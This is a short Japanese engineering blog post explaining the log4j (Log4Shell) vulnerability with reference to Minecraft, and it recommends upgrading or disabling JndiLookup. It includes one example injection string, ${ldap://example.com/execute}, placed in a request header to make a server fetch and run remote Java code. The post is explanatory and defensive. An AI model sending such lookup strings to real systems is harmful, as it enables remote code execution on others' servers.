10yroの開発日記

株式会社10yro(トイロ)のエンジニアが書いています

log4jの脆弱性について

みなさんMinecraftしてますか?

私は飽きたりハマったりの繰り返しで数年やってますが楽しいですよね。

ちなみに世界一売れてるゲームらしいですよ。

先日、有名ライブラリのlog4jで任意のコードが実行できる脆弱性が先日発見され、 Minecraftでもこの脆弱性を利用した攻撃があり話題になりましたね。

詳細は↓を。

https://www.ipa.go.jp/security/ciadr/vul/alert20211213.html

って事で少し調べてみました。

原因


ログ出力する際に特定の文字列の場合は変数に置き換える機能があり、この置き換える機能がネットワーク経由でも実行可能とである為、任意のコードが実行可能となっています。( JNDI lookupと言いLDAP を利用する仕組みのようです) ざっくりですが、例えば${ldap://example.com/execute}をヘッダーに含めてリクエストを行いログに出力されると任意のJava Classファイルをダウンロードし実行されます。

影響

Log4jをシステムで使っていなくても、ライブラリが使用してたりするので影響範囲はかなり広いです。

また攻撃手法が公開されているので、早急にlog4jのバージョンアップをするかJndiLookup機能を無効かするのが良いです。

ちなみにMinecraftは公式パッチが早々にリリースされてました。

この手の脆弱性は、年末年始を気楽の過ごせるように早急に対応するのがいいですね!